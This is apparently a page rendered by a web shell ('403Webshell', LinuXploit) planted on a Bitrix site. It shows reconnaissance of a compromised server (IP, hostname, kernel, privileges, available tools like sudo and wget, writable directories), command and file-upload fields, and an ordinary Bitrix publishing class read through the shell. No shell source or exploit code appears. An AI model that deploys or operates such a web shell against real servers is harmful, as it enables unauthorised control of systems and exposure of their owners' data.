403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/landing/lib/update/site/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/landing/lib/update/site/publish.php
<?php
namespace Bitrix\Landing\Update\Site;

use Bitrix\Landing\Rights;
use Bitrix\Landing\Site;
use Bitrix\Main\Config\Option;
use Bitrix\Main\Update\Stepper;

class Publish extends Stepper
{
	public const SITE_LIMIT  = 5;

	protected static $moduleId = 'landing';

	/**
	 * One step of publish.
	 * @return bool
	 */
	public function execute(array &$result): bool
	{
		Rights::setGlobalOff();
		if (!isset($result['steps']))
		{
			$result['steps'] = 0;
		}
		$result['steps']++;

		$publishedIds = [];
		$ids = [];
		$stringIds = Option::get('landing', 'unpublished_ids', '');
		if ($stringIds !== '')
		{
			$ids = explode(',', $stringIds);
			$neededIds = array_slice($ids, 0, self::SITE_LIMIT);
			foreach ($neededIds as $id)
			{
				Site::publication($id);
				$publishedIds[] = $id;
			}
		}
		Rights::setGlobalOn();
		if ($publishedIds === $ids)
		{
			Option::delete('landing', array('name' => 'unpublished_ids'));
			return false;
		}
		$ids = array_diff($ids, $publishedIds);
		$stringIds = implode(',', $ids);

		Option::set('landing', 'unpublished_ids',  $stringIds);
		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit